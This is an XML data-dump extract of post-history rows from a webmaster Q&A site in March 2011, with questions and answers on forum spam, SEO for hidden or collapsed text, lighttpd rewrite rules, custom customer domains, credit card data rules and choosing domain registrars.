  <row Id="23813" PostHistoryTypeId="3" PostId="10625" RevisionGUID="9033303d-408b-44aa-8a01-77a35248c533" CreationDate="2011-03-14T07:34:04.667" UserDisplayName="Scott" Text="&lt;websites&gt;&lt;domains&gt;" />
  <row Id="23814" PostHistoryTypeId="17" PostId="10625" RevisionGUID="6ea1e352-826b-4cf0-998c-a747a0549b0c" CreationDate="2011-03-14T07:41:29.237" UserId="-1" Comment="from http://superuser.com/questions/257330/how-to-enable-customers-to-use-their-own-domain-for-sites-hosted-by-me" Text="" />
  <row Id="23815" PostHistoryTypeId="2" PostId="10626" RevisionGUID="c3d16690-ef6d-4c79-b656-567d9464e91b" CreationDate="2011-03-14T07:50:50.287" UserId="6069" Text="I'm running a web site with a forum where one small part is open for posting from unregistered users. The site uses captcha, but still some spam posts get through every day. Here is the thing. All of the messages follow the same pattern, but all also come from different IP's. That makes me thing this is some sort of automated scripted &quot;attack&quot; from a botnet of some sorts.&#xD;&#xA;&#xD;&#xA;The strange thing is that all the messages start with six random characters and contains a couple of links. The words have no meaning and the domains in the links does not even exist. &#xD;&#xA;&#xD;&#xA;Why would anyone use time and resources spreading these things? Below you can see two of these messages:&#xD;&#xA;&#xD;&#xA;&gt; A5Zfs6  &lt;a&#xD;&#xA;&gt; href=&quot;http://exrzvrbspntz.com/&quot;&gt;exrzvrbspntz&lt;/a&gt;,&#xD;&#xA;&gt; [url=http://nktqoqllnuab.com/]nktqoqllnuab[/url],&#xD;&#xA;&gt; [link=http://wtrenldadvsy.com/]wtrenldadvsy[/link],&#xD;&#xA;&gt; [http://rnlrqfgdvdot.com/] &#xD;&#xA;&gt;&#xD;&#xA;&gt; O2oLpL  &lt;a&#xD;&#xA;&gt; href=&quot;http://nqeffxhryfdk.com/&quot;&gt;nqeffxhryfdk&lt;/a&gt;,&#xD;&#xA;&gt; [url=http://jutyurbpfxow.com/]jutyurbpfxow[/url],&#xD;&#xA;&gt; [link=http://jpcdtmdalpow.com/]jpcdtmdalpow[/link],&#xD;&#xA;&gt; [http://qopqwqxwjdjx.com/] &#xD;&#xA;&#xD;&#xA;Since all the messages come from different IP's I can't see blocking those will help much. For now I'm considering just dropping all messages following this pattern since it's quite easy to match with a regexp.&#xD;&#xA;&#xD;&#xA;Have anyone else seen these kinds of messages or know the point of posting them?" />
  <row Id="23816" PostHistoryTypeId="1" PostId="10626" RevisionGUID="c3d16690-ef6d-4c79-b656-567d9464e91b" CreationDate="2011-03-14T07:50:50.287" UserId="6069" Text="Strange spam posts not making sense" />
  <row Id="23817" PostHistoryTypeId="3" PostId="10626" RevisionGUID="c3d16690-ef6d-4c79-b656-567d9464e91b" CreationDate="2011-03-14T07:50:50.287" UserId="6069" Text="&lt;spam&gt;&lt;forum&gt;&lt;captcha&gt;" />
  <row Id="23818" PostHistoryTypeId="2" PostId="10627" RevisionGUID="42cac37b-592a-4f2c-8721-703a768b0224" CreationDate="2011-03-14T07:56:58.673" UserId="6069" Text="I often use templates from http://www.freecsstemplates.org/ &#xD;&#xA;The good thing about these is that they all follow the same pattern and naming convention so it's real easy to switch between different designs. You can quickly try out several different designs before you decide.&#xD;&#xA;&#xD;&#xA;They are completely free (and royalty-free) to use for any personal or commercial purpose provided you credit the freecsstemplates website in the form of a link back to the site. " />
  <row Id="23819" PostHistoryTypeId="2" PostId="10628" RevisionGUID="31ad9f82-c536-4465-9162-3cd5ba53ad3e" CreationDate="2011-03-14T08:04:59.473" UserId="576" Text="Among the [browser comparison studies][1] that I have seen, the [caniuse.com browser comparison][2] looks most comprehensive &amp; updated and fits your need. The site allows you to select only two browsers at a time to compare. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.findmebyip.com/litmus/&#xD;&#xA;  [2]: http://caniuse.com/#compare=y&amp;b1=ie%7C9&amp;b2=firefox%7C4" />
  <row Id="23820" PostHistoryTypeId="25" PostId="10624" RevisionGUID="167f1773-a830-41ff-86ce-0de7335df20e" CreationDate="2011-03-14T08:23:37.570" Comment="http://twitter.com/#!/StackWebmasters/status/47211265650724864" />
  <row Id="23821" PostHistoryTypeId="2" PostId="10629" RevisionGUID="fa94e716-e5b8-4492-8ebd-a3e52ae940e7" CreationDate="2011-03-14T09:07:54.397" UserId="3258" Text="I manage two corporate Twitter accounts and two personal Twitter accounts, and it would be really useful to know how many followers each account has at the end of each week.&#xD;&#xA;&#xD;&#xA;I'm using TweetStats.com to gather statistics at the moment, but the follower stats functionality isn't granular enough to determine the precise number of followers.&#xD;&#xA;&#xD;&#xA;Does anyone know of any useful and free tools that can provide the exact number of followers for a specific Twitter account on any given date? &#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;&#xD;&#xA;Mike." />
  <row Id="23822" PostHistoryTypeId="1" PostId="10629" RevisionGUID="fa94e716-e5b8-4492-8ebd-a3e52ae940e7" CreationDate="2011-03-14T09:07:54.397" UserId="3258" Text="Anyone know a way to find out number of Twitter followers for a particular account on any given date?" />
  <row Id="23823" PostHistoryTypeId="3" PostId="10629" RevisionGUID="fa94e716-e5b8-4492-8ebd-a3e52ae940e7" CreationDate="2011-03-14T09:07:54.397" UserId="3258" Text="&lt;statistics&gt;&lt;twitter&gt;" />
  <row Id="23824" PostHistoryTypeId="2" PostId="10630" RevisionGUID="ac65ecd8-27b4-4f71-b504-cb909ad81966" CreationDate="2011-03-14T06:41:35.603" UserDisplayName="Christoph" Text="I recently couldn't configure my mod_rewrite where I'm using Wordpress and MyBB. And now I need Your help, because I couldn't deal with it...&#xD;&#xA;&#xD;&#xA;Here is the code:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;The problem is with third, fifth and sixth line.&#xD;&#xA;On the third, it couldn't display comments (error 404).&#xD;&#xA;On fifth, forum categories are not working.&#xD;&#xA;Finally on sixth, post aren't working.&#xD;&#xA;&#xD;&#xA;I appreciate, any help. Thanks!&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;You're saying the truth.&#xD;&#xA;&#xD;&#xA;What I want, is for example: From link: example.com/forum/forumdisplay.php?fid=71 to example.com/forum/post// &lt;= only id is important here, post name is only for seo Same thing with 'dzial'.&#xD;&#xA;&#xD;&#xA;And Wordpress From: example.com/portal/comment-page-#comment-1995 &lt;= name, id and number of page is important here.&#xD;&#xA;&#xD;&#xA;Any ideas, how to deal with it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/XgFnL.png" />
  <row Id="23825" PostHistoryTypeId="1" PostId="10630" RevisionGUID="ac65ecd8-27b4-4f71-b504-cb909ad81966" CreationDate="2011-03-14T06:41:35.603" UserDisplayName="Christoph" Text="Need help with some mod_rewrite on lighttpd" />
  <row Id="23826" PostHistoryTypeId="3" PostId="10630" RevisionGUID="ac65ecd8-27b4-4f71-b504-cb909ad81966" CreationDate="2011-03-14T06:41:35.603" UserDisplayName="Christoph" Text="&lt;mod-rewrite&gt;&lt;lighttpd&gt;" />
  <row Id="23827" PostHistoryTypeId="17" PostId="10630" RevisionGUID="7f3178b0-ef35-4976-9347-9ff40933e046" CreationDate="2011-03-14T09:12:14.017" UserId="-1" Comment="from http://serverfault.com/questions/247042/need-help-with-some-mod-rewrite-on-lighttpd" Text="" />
  <row Id="23828" PostHistoryTypeId="2" PostId="10631" RevisionGUID="5fa390b5-6845-482a-b492-ba6e7492bd8b" CreationDate="2011-03-14T09:36:16.630" UserId="5727" Text="It's probably a test for a real attack, proof of concept for an attackers new system, or a demonstration of an attack for potential buyers maybe?  I would tend to think this was not someone harmless doing it for fun as they would probably just write messages and no be trying to insert URL's.&#xD;&#xA;&#xD;&#xA;Either way best to remove it asap to reduce the chance you are marked as an easy target.  I would ban those IP's, clean up the messages and put some CAPTCHA on, (doesn't have to be permanent, you can switch it on during periods of attacks)." />
  <row Id="23829" PostHistoryTypeId="2" PostId="10632" RevisionGUID="04b391ea-ed29-449e-ad39-5c866e14b12f" CreationDate="2011-03-14T09:58:11.450" UserId="5739" Text="I like [Prestashop][1] and so do my customers. It is easy to use, looks clean, uses AJax for the admin backend and isn't stuffed full of complicated options that confuse.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prestashop.com/" />
  <row Id="23830" PostHistoryTypeId="17" PostId="10634" RevisionGUID="364ecf1a-3c10-4479-ae16-40fdbce4ba12" CreationDate="2011-03-14T10:00:30.623" UserId="-1" Comment="from http://stackoverflow.com/questions/5296884/seo-for-collapsed-text/5296915#5296915" Text="" />
  <row Id="23831" PostHistoryTypeId="17" PostId="10635" RevisionGUID="32c804bd-556f-4225-864f-59a9a65a01bb" CreationDate="2011-03-14T10:00:30.623" UserId="-1" Comment="from http://stackoverflow.com/questions/5296884/seo-for-collapsed-text/5297013#5297013" Text="" />
  <row Id="23832" PostHistoryTypeId="2" PostId="10634" RevisionGUID="c1686c41-bf61-4db4-9074-3245a85b32db" CreationDate="2011-03-14T09:42:18.683" UserDisplayName="Powertieke" Text="If you use javascript to hide/reveal part of the article, then google will still parse the entire text, but the user only gets to see the part before the &quot;read more&quot; button.&#xD;&#xA;&#xD;&#xA;I do not believe search engines penalise this kind of website behavior." />
  <row Id="23833" PostHistoryTypeId="2" PostId="10635" RevisionGUID="d113d75a-0a0c-4d03-8c87-4ead658a1e3e" CreationDate="2011-03-14T09:50:34.857" UserId="2237" Text="You almost certainly don't want to have the complete text on the list page as well as the page of the full text.&#xD;&#xA;&#xD;&#xA;Let me explain that: &#xD;&#xA;&#xD;&#xA;Say you are writing a blog and you have a one page for each article and you also have a homepage showing the last 10 articles. On your homepage you want to show only a snippet of each article and a &quot;read more&quot; link. &#xD;&#xA;&#xD;&#xA;Where do you want to drive the traffic to? Presumably you want people to go read the full article? The only place the full text of the article should exist in on the URL that displays the full article, not the homepage. If you repeat the fulltext of each article on the homepage then it can potentially look like duplicate content to search engines. If you try and hide the full text using Javascript that is even worse as you are &quot;cloaking&quot; your content and Google doesn't like that.&#xD;&#xA;&#xD;&#xA;What I would do: Show the snippet on the list page with the &quot;read more&quot; link and nothing more. Your keywords/SEO/content will be on the page with the full text. Push the users to the article page if they want to read the article - it's a static, linkable URL that should have a unique title and meta tags for full SEO potential. Your list page changes when new stuff is added." />
  <row Id="23834" PostHistoryTypeId="2" PostId="10633" RevisionGUID="dab3a353-49bb-4337-9a54-454453c0c1ed" CreationDate="2011-03-14T09:38:19.440" UserDisplayName="Rasmus" Text="Hep hey.&#xD;&#xA;&#xD;&#xA;I have been tasked to make a pretty simple site which have to be SEO friendly. &#xD;&#xA;Now, i was told that the artikels should take minimal space when listed so i thought of a &quot;read more&quot; expandarble plugin. &#xD;&#xA;&#xD;&#xA;My question is, do spiders consider the text behind the &quot;read more&quot; links as hidden aka punishing me SEO-wise or is it of no importance?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="23835" PostHistoryTypeId="1" PostId="10633" RevisionGUID="dab3a353-49bb-4337-9a54-454453c0c1ed" CreationDate="2011-03-14T09:38:19.440" UserDisplayName="Rasmus" Text="Seo for collapsed text?" />
  <row Id="23836" PostHistoryTypeId="3" PostId="10633" RevisionGUID="dab3a353-49bb-4337-9a54-454453c0c1ed" CreationDate="2011-03-14T09:38:19.440" UserDisplayName="Rasmus" Text="&lt;php&gt;&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="23837" PostHistoryTypeId="17" PostId="10633" RevisionGUID="cebe26d4-1e32-47e0-845d-ac6e37cbc6d2" CreationDate="2011-03-14T10:00:30.623" UserId="-1" Comment="from http://stackoverflow.com/questions/5296884/seo-for-collapsed-text" Text="" />
  <row Id="23838" PostHistoryTypeId="2" PostId="10636" RevisionGUID="9204f367-3bb9-409c-89ac-46c904a79043" CreationDate="2011-03-14T10:09:47.070" UserId="5216" Text="i'm not sure why this is here - its a server admin question - but you'd have to use something like virtualhosts on your server to do that " />
  <row Id="23839" PostHistoryTypeId="2" PostId="10637" RevisionGUID="ff387354-4f27-4d57-9e2c-acec2be33d03" CreationDate="2011-03-14T10:11:45.540" UserId="5954" Text="It is possible, but your customers would have to update their DNS records. &#xD;&#xA;&#xD;&#xA;This is how it works - &#xD;&#xA;&#xD;&#xA; 1. Point widgets.com to your IP Address&#xD;&#xA; 2. Modify your code to infer the customer from the host name&#xD;&#xA; 3. AJAX code should post to widgets.com and not to www.bestsitebuildingwebsite.com. Since they are both the same servers, it shouldn't be a problem.&#xD;&#xA; 4. If you set any cookies on www.bestsitebuildingwebsite.com, they will not be available on widgets.com. You will need some kind of federated authentication to solve that problem." />
  <row Id="23840" PostHistoryTypeId="2" PostId="10638" RevisionGUID="d6508e1e-ab8d-4bc1-8b64-7e7f773badbd" CreationDate="2011-03-14T10:26:00.927" UserId="4424" Text="I've heard that online merchants can only keep credit card information for set periods of time. Is this true? Amazon's express checkout feature saves credit card info, so does apple's app store. What are the legalities behind the scenes? Legal experts? " />
  <row Id="23841" PostHistoryTypeId="1" PostId="10638" RevisionGUID="d6508e1e-ab8d-4bc1-8b64-7e7f773badbd" CreationDate="2011-03-14T10:26:00.927" UserId="4424" Text="Laws on credit card information?" />
  <row Id="23842" PostHistoryTypeId="3" PostId="10638" RevisionGUID="d6508e1e-ab8d-4bc1-8b64-7e7f773badbd" CreationDate="2011-03-14T10:26:00.927" UserId="4424" Text="&lt;marketing&gt;&lt;legal&gt;&lt;shopping-cart&gt;" />
  <row Id="23843" PostHistoryTypeId="2" PostId="10639" RevisionGUID="0f58f0e9-3eb9-4b60-9714-b243b3953433" CreationDate="2011-03-14T10:28:11.527" UserId="5954" Text="Facebook does not provide a way to export email addresses. There has been a [war between gmail and facebook][1] the past few months on this topic. &#xD;&#xA;&#xD;&#xA;Facebook has tieups with specific websites, and allows only those websites to export emails. You can read the [official note from facebook][2]. &#xD;&#xA;&#xD;&#xA;Essentially, facebook favours certain websites and not others. Their stance is &quot;your friends email address does not belong to you, so we won't let you export&quot;. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://techcrunch.com/2010/11/04/facebook-google-contacts/&#xD;&#xA;  [2]: http://www.facebook.com/note.php?note_id=470023970344" />
  <row Id="23844" PostHistoryTypeId="25" PostId="10633" RevisionGUID="d189fdc4-e3c6-4dba-a144-6c61aaff1502" CreationDate="2011-03-14T11:23:37.633" Comment="http://twitter.com/#!/StackWebmasters/status/47256564498841600" />
  <row Id="23845" PostHistoryTypeId="2" PostId="10640" RevisionGUID="231522cc-dbfc-4092-9f81-5be7e16657ad" CreationDate="2011-03-14T11:31:02.010" UserId="1429" Text="I usually place forms in iframes (i.e. order form, request assistance form, contact forms, ect.). Just the forms, I never place other contents or pages in iframes.&#xD;&#xA;&#xD;&#xA;**From a SEO point of view, would you exclude forms from being indexed/crawled by Google or not?**&#xD;&#xA;&#xD;&#xA;I mean my forms hardly ever contains keyword/keyphrases, moreover I obviously place empty title/meta description tags in pages shown in iframe to display forms, cause those titles are never displaied in browser title bar.&#xD;&#xA;So I'm wondering what's the point of letting Google index them?&#xD;&#xA;&#xD;&#xA;Moreover I think these form pages might suck out PR from all other pages that are more valuable for SEO.&#xD;&#xA;&#xD;&#xA;If your answer is &quot;yes I would exclude them form indexing&quot; would you simply use robots.txt to exclude them?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="23846" PostHistoryTypeId="1" PostId="10640" RevisionGUID="231522cc-dbfc-4092-9f81-5be7e16657ad" CreationDate="2011-03-14T11:31:02.010" UserId="1429" Text="SEO: disallowing Google from indexing forms in iframes or not?" />
  <row Id="23847" PostHistoryTypeId="3" PostId="10640" RevisionGUID="231522cc-dbfc-4092-9f81-5be7e16657ad" CreationDate="2011-03-14T11:31:02.010" UserId="1429" Text="&lt;seo&gt;&lt;robots.txt&gt;&lt;forms&gt;&lt;iframe&gt;" />
  <row Id="23848" PostHistoryTypeId="2" PostId="10641" RevisionGUID="dea244b0-2c1f-4dda-a16a-1ccbd8c66106" CreationDate="2011-03-14T11:42:53.153" UserId="5739" Text="I would highly recommend going for [WHMCS][1]. Ok it is a little pricey but it integrates so tightly with WHM and has so many features you won't need anything else.&#xD;&#xA;&#xD;&#xA;It provides a complete customer management system, with module creation, invoicing, online payments, knowledgebase, support ticket system and a domain name registration system allowing customers to purchase a domain name and package and have it set up automatically for them hands free.&#xD;&#xA;&#xD;&#xA;It also integrates with all the big name domain resellers. I just sit and let it fire off the reminder emails and watch the customers pay and domains/hosting packages renew.&#xD;&#xA;&#xD;&#xA;There is a free trial and I suggest giving it a go. It has completely changed the way I run my business (I was on Helm before and had to invoice manually) and I love it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whmcs.com/" />
  <row Id="23849" PostHistoryTypeId="2" PostId="10642" RevisionGUID="f0dd82f2-3d6e-4f29-a515-33731364e155" CreationDate="2011-03-14T11:45:02.100" UserId="1253" Text="iFrames and frames in general are not search engine friendly and I would not expect them to be indexed. However, that doesn't mean they won't be indexed now or in the future. If your goal is to keep that content out of the search engines you should be explicitly blocking it with robots.txt or the x-robots.tag header.&#xD;&#xA;&#xD;&#xA;FYI, blocking this is silly because:&#xD;&#xA;&#xD;&#xA;1) Content has nothing to do with PR at all&#xD;&#xA;&#xD;&#xA;2) If the form covers content related to the site you're removing keywords and content from your website that can help you rank better.&#xD;&#xA;&#xD;&#xA;3) Frames are not very accessible so you're alienating some of your users." />
  <row Id="23850" PostHistoryTypeId="2" PostId="10643" RevisionGUID="18e8e382-4568-4755-86e0-3b08d5cbfcad" CreationDate="2011-03-14T06:47:20.473" UserDisplayName="Jack" Text="Hey all, I need a shopping cart for PHP/MySQL. What I need is very simple. I have a template already set up with the 15 items that we want to sell. We don't require a storefront, only a cart that uses a gateway. The user should be able to click on the item in my template and then go to checkout.&#xD;&#xA;&#xD;&#xA;Can someone recommend something that would meet these needs? I want to stay away from bloated apps." />
  <row Id="23851" PostHistoryTypeId="1" PostId="10643" RevisionGUID="18e8e382-4568-4755-86e0-3b08d5cbfcad" CreationDate="2011-03-14T06:47:20.473" UserDisplayName="Jack" Text="Shopping Cart Recommendation" />
  <row Id="23852" PostHistoryTypeId="3" PostId="10643" RevisionGUID="18e8e382-4568-4755-86e0-3b08d5cbfcad" CreationDate="2011-03-14T06:47:20.473" UserDisplayName="Jack" Text="&lt;php&gt;" />
  <row Id="23853" PostHistoryTypeId="17" PostId="10643" RevisionGUID="8f3282bb-637f-41cc-862f-cf555f0019b8" CreationDate="2011-03-14T11:50:13.947" UserId="-1" Comment="from http://stackoverflow.com/questions/5295570/shopping-cart-recommendation" Text="" />
  <row Id="23854" PostHistoryTypeId="2" PostId="10644" RevisionGUID="ab94ab8a-4941-4fb7-978e-95ffbe2a4ee3" CreationDate="2011-03-14T11:51:04.497" UserId="1253" Text="You have two issues:&#xD;&#xA;&#xD;&#xA;1) What you're talking about is called [PCI DSS][1]. It is a set of rules you must adhere to that is set forth by the payment card industry. You must be PCI compliant if you accept credit cards on your website. **Definitely** read up on this if you accept or will accept credit card payments on your website.&#xD;&#xA;&#xD;&#xA;2) State and federal laws supersede PCI DSS and varies by state. You'll need to do some research to see how this affects your website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pcicomplianceguide.org/pcifaqs.php" />
  <row Id="23855" PostHistoryTypeId="6" PostId="10638" RevisionGUID="78a44cb5-9ea2-4cd6-9031-243866647765" CreationDate="2011-03-14T11:53:08.597" UserId="1253" Comment="removed &quot;marketing shopping-cart &quot; tags, added &quot;creditcard&quot; tag" Text="&lt;legal&gt;&lt;creditcard&gt;" />
  <row Id="23856" PostHistoryTypeId="5" PostId="10633" RevisionGUID="77005578-697d-4089-b734-95161b51f66e" CreationDate="2011-03-14T11:55:54.147" UserId="5954" Comment="fixed spelling" Text="I have been tasked to make a pretty simple site which have to be SEO friendly. &#xD;&#xA;Now, i was told that the articles should take minimal space when listed so i thought of a &quot;read more&quot; expandable plugin. &#xD;&#xA;&#xD;&#xA;My question is, do spiders consider the text behind the &quot;read more&quot; links as hidden aka punishing me SEO-wise or is it of no importance?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="23857" PostHistoryTypeId="24" PostId="10633" RevisionGUID="77005578-697d-4089-b734-95161b51f66e" CreationDate="2011-03-14T11:55:54.147" Comment="Proposed by 5954 approved by 1253 edit id of 64" />
  <row Id="23858" PostHistoryTypeId="2" PostId="10645" RevisionGUID="8db6208e-37fd-4acc-9fc5-f42d667aa8b6" CreationDate="2011-03-14T12:56:07.770" UserId="5892" Text="The very first point to keep in mind is your website should be search engine friendly. For a website to rank in search engines there are lot of things to be worked on. There should be good number of backlinks coming to your website from high PR websites mostly preferred website with PR 3 &amp; 3+. Also it is important to make sure that your website have the targeted keyword in proper place, by proper place I mean title tag, description tag, keywords tag, H1 tag, URL(if possible) and the most important &quot;Content&quot;, as &quot;Content is King&quot;." />
  <row Id="23859" PostHistoryTypeId="2" PostId="10646" RevisionGUID="bba16253-03d7-421f-b34c-f6d3d2fb3e28" CreationDate="2011-03-14T13:11:06.963" UserId="1253" Text="Hidden text in and of itself is fine. It only becomes a problem when you're hiding it for the sake of manipulating the search engines. This usually entails showing different content to your users then to the search engines. This is not the case here as you are simply hiding text temporarily to make the site more usable for your users. That content is readily available to them via JavaScript and, assuming you implemented this properly, if they don't have JavaScript enabled that content will be visible just like to the search engines (in fact exactly like the search engines since they generally don't have JavaScript capabilities)." />
  <row Id="23860" PostHistoryTypeId="2" PostId="10647" RevisionGUID="544bcd70-d275-4ca1-9773-151ddaf0bd3b" CreationDate="2011-03-14T13:25:56.390" UserId="2197" Text="This article has nice comparison of IE9: [Is IE9 a modern browser?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://people.mozilla.com/~prouget/ie9/" />
  <row Id="23861" PostHistoryTypeId="17" PostId="10649" RevisionGUID="04dc33a5-9cd7-4c40-bab8-b577f0a16943" CreationDate="2011-03-14T13:42:37.797" UserId="-1" Comment="from http://superuser.com/questions/257421/which-registrar-checks-the-most-domains/257428#257428" Text="" />
  <row Id="23862" PostHistoryTypeId="17" PostId="10650" RevisionGUID="624da994-1692-42ad-9cb1-dba3adbe7003" CreationDate="2011-03-14T13:42:37.797" UserId="-1" Comment="from http://superuser.com/questions/257421/which-registrar-checks-the-most-domains/257429#257429" Text="" />
  <row Id="23863" PostHistoryTypeId="2" PostId="10649" RevisionGUID="4c9becfe-87d8-4e03-9ed0-a24b195fe019" CreationDate="2011-03-14T12:47:51.207" UserDisplayName="CarlF" Text="All registrars check against the master database.  Assuming they're halfway competent (and they basically are) there is no difference." />
  <row Id="23864" PostHistoryTypeId="2" PostId="10650" RevisionGUID="c3fccd3c-e73a-4074-be21-f363921c9ba3" CreationDate="2011-03-14T12:48:26.390" UserDisplayName="p.vitzliputzli" Text="You're looking for a whois-query service. Try f.e. [http://www.whois.net/][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whois.net/" />
  <row Id="23865" PostHistoryTypeId="2" PostId="10648" RevisionGUID="404c6ca6-0275-4075-ad8f-232f02b5c164" CreationDate="2011-03-14T12:28:07.963" UserDisplayName="Christian W" Text="When I want a new domain, I usually use GoDaddy to check, and another registrar to register. This is because GoDaddy check my wanted domain against the most TLD's.&#xD;&#xA;&#xD;&#xA;Are there any other sites/registrars that checks against more TLD's?" />
  <row Id="23866" PostHistoryTypeId="1" PostId="10648" RevisionGUID="404c6ca6-0275-4075-ad8f-232f02b5c164" CreationDate="2011-03-14T12:28:07.963" UserDisplayName="Christian W" Text="Which registrar checks the most domains?" />
  <row Id="23867" PostHistoryTypeId="3" PostId="10648" RevisionGUID="404c6ca6-0275-4075-ad8f-232f02b5c164" CreationDate="2011-03-14T12:28:07.963" UserDisplayName="Christian W" Text="&lt;domain-names&gt;" />
  <row Id="23868" PostHistoryTypeId="17" PostId="10648" RevisionGUID="04177443-9cae-4d1d-abc4-59ffd103df98" CreationDate="2011-03-14T13:42:37.797" UserId="-1" Comment="from http://superuser.com/questions/257421/which-registrar-checks-the-most-domains" Text="" />
  <row Id="23869" PostHistoryTypeId="5" PostId="10650" RevisionGUID="5bcdcecb-a955-44a7-b7c6-fca0cdf87670" CreationDate="2011-03-14T14:20:04.813" UserId="6073" Comment="Gave the actual answer." Text="**EDIT:** You are looking for something like [this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3tool.com/domain/" />
  <row Id="23870" PostHistoryTypeId="25" PostId="10638" RevisionGUID="40b0b936-d035-4f69-9922-affbf4de29f8" CreationDate="2011-03-14T14:23:38.103" Comment="http://twitter.com/#!/StackWebmasters/status/47301865037250560" />
  <row Id="23871" PostHistoryTypeId="2" PostId="10651" RevisionGUID="6facb310-133e-4053-bb57-d84bac0db83b" CreationDate="2011-03-14T14:38:31.567" UserId="2197" Text="I own a domain which I was using for experimenting with different platforms and content management systems. I really did not care about seo while I was building the website so I guess my website has quite a 'bad reputation' for Google search. My website is almost finished and I am planning to launch it soon but would like to tell Google to forget everything it nows about it and start everything over.&#xD;&#xA;&#xD;&#xA;What's the correct way for doing it? I found [Requesting reconsideration of site][1] but I'm not sure if that's the best way to do it.&#xD;&#xA;&#xD;&#xA;Any advice?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35843" />
  <row Id="23872" PostHistoryTypeId="1" PostId="10651" RevisionGUID="6facb310-133e-4053-bb57-d84bac0db83b" CreationDate="2011-03-14T14:38:31.567" UserId="2197" Text="Resetting Google's data for the website" />
  <row Id="23873" PostHistoryTypeId="3" PostId="10651" RevisionGUID="6facb310-133e-4053-bb57-d84bac0db83b" CreationDate="2011-03-14T14:38:31.567" UserId="2197" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="23874" PostHistoryTypeId="5" PostId="10617" RevisionGUID="950c3fd3-757d-44ba-a20b-c62a23225eb8" CreationDate="2011-03-14T14:43:22.327" UserId="5185" Comment="added 2 characters in body" Text="Is there a website or software I can use to easily make web 2.0 buttons?  I really like this:  https://github.com/imathis/fancy-buttons, but it's only for Ruby.&#xD;&#xA;&#xD;&#xA;Every time I design a new website, I need to go into Fireworks and tediously create the buttons by hand.  Surely someone out there must have come up with an easy way of making new web buttons." />
  <row Id="23875" PostHistoryTypeId="2" PostId="10652" RevisionGUID="4552a8d3-6dc2-488a-99aa-3cb1cc5b6dd8" CreationDate="2011-03-14T15:00:10.987" UserId="1643" Text="This article http://www.google.com/support/webmasters/bin/answer.py?answer=164734 should help. However I couldn't find the tool they mention under site diagnostics, so they may have taken it away. Using robots.txt to indicate invalid pages should help anyway, even if you can't make them remove urls until they get round to crawling you again." />
  <row Id="23876" PostHistoryTypeId="2" PostId="10653" RevisionGUID="4061776f-5388-46a2-ae33-7cceedbe8901" CreationDate="2011-03-14T15:22:56.757" UserId="5800" Text="I feel like I heard advice once upon a time that one should split these &quot;services&quot; between two companies.  I cannot for the life of me figure out why this should be.  For example, what would the downside be having my domain name and hosting done by GoDaddy, under one login and password." />
  <row Id="23877" PostHistoryTypeId="1" PostId="10653" RevisionGUID="4061776f-5388-46a2-ae33-7cceedbe8901" CreationDate="2011-03-14T15:22:56.757" UserId="5800" Text="Should I host my site with the same company I bought a domain from?" />
  <row Id="23878" PostHistoryTypeId="3" PostId="10653" RevisionGUID="4061776f-5388-46a2-ae33-7cceedbe8901" CreationDate="2011-03-14T15:22:56.757" UserId="5800" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="23879" PostHistoryTypeId="5" PostId="10580" RevisionGUID="a6da4b76-a8f5-41a6-bd9b-fdc2d55ad3a7" CreationDate="2011-03-14T15:27:23.877" UserId="1064" Comment="Updated with recent changes in Google cache, more specific advice" Text="Looks like there is something wrong with Google's cached copy of the site - the &quot;Cached&quot; link throws an error on that search.&#xD;&#xA;&#xD;&#xA;Do you see any crawl errors or inconsistencies in Google Webmaster Tools for the `turantastan.com` domain?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;Google's cache of the site shows the content from your primary domain - my best guess would be that this issue will resolve itself once Googlebot revisits your domain *unless* there is an issue with the site's configuration.&#xD;&#xA;&#xD;&#xA;If you do not have administrative access to `turantastan.com`, you should investigate the site's configuration with the administrator: if requests with a Googlebot user agent show irregular content lengths in the webserver logs, check the site's scripts and webserver configuration for any directives which are conditionally presenting the main site's content. (could be a case of un/intentional [page cloaking][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cloaking" />
  <row Id="23880" PostHistoryTypeId="2" PostId="10654" RevisionGUID="ee409919-5c4c-44e2-bd96-b8d7ae42b11a" CreationDate="2011-03-14T15:28:55.293" UserId="1253" Text="Pros to using multiple companies:&#xD;&#xA;&#xD;&#xA; 1. If the company goes under or becomes a tyrannical nightmare you don't have all of assets in one place. You may lose your domain, you may lose your website, but not both. (And if you're smart you will have your website backed up).&#xD;&#xA; 2. If your account with them gets compromised you could lose everything&#xD;&#xA; 3. Some hosts won't let you transfer your domain name or make it nightmare to do so in an attempt to lock you in. By not using your host as your registrar you eliminate this possibility.&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA; 1. You have more accounts (with logins, passwords) to keep track of. If you change your email address you have to go back and change it everywhere.&#xD;&#xA; 2. You have more accounts that can potentially be compromised. You won't lose everything but there are more opportunities for it to happen.&#xD;&#xA;&#xD;&#xA;Personally I have no preference. I use whatever company offers be the best value for whatever service I am looking for. If it's all at the same company, that's great. If not, that's fine, too." />
